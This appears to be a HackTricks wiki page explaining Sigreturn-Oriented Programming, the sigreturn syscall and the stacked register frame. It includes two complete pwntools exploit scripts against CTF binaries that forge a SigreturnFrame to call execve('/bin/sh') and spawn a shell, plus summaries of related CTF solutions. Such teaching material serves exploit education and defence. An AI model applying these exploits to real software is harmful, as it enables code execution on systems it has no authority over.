SROP - Sigreturn-Oriented Programming
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Sigreturn
is a special syscall that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a signal handler, a special function designed to deal with signals.
After the signal handler finishes, the program needs to resume its previous state as if nothing happened. This is where sigreturn
comes into play. It helps the program to return from the signal handler and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler.
The interesting part is how sigreturn
restores the program's state: it does so by storing all the CPU's register values on the stack. When the signal is no longer blocked, sigreturn
pops these values off the stack, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack.
caution
Calling the syscall sigreturn
from a ROP chain and adding the registry values we would like it to load in the stack it's possible to control all the register values and therefore call for example the syscall execve
with /bin/sh
.
Note how this would be a type of Ret2syscall that makes much easier to control params to call other Ret2syscalls:
If you are curious this is the sigcontext structure stored in the stack to later recover the values (diagram from here):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
For a better explanation check also:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Example
You can find an example here where the call to signeturn is constructed via ROP (putting in rxa the value 0xf
), although this is the final exploit from there:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Check also the exploit from here where the binary was already calling sigreturn
and therefore it's not needed to build that with a ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Other Examples & References
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binary that allows to write to the stack and then calls the
sigreturn
syscall. It's possible to write on the stack a ret2syscall via a sigreturn structure and read the flag which is inside the memory of the binary.
- Assembly binary that allows to write to the stack and then calls the
- https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binary that allows to write to the stack and then calls the
sigreturn
syscall. It's possible to write on the stack a ret2syscall via a sigreturn structure (the binary has the string/bin/sh
).
- Assembly binary that allows to write to the stack and then calls the
- https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing
gets
function with lack of gadgets that performs a ret2syscall. The ROP chain writes/bin/sh
in the.bss
by calling gets again, it abuses thealarm
function to set eax to0xf
to call a SROP and execute a shell.
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing
- https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls
exit
. The selected syscall is asigreturn
that will set registries and moveeip
to call a previous syscall instruction and runmemprotect
to set the binary space torwx
and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it.
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls
- https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.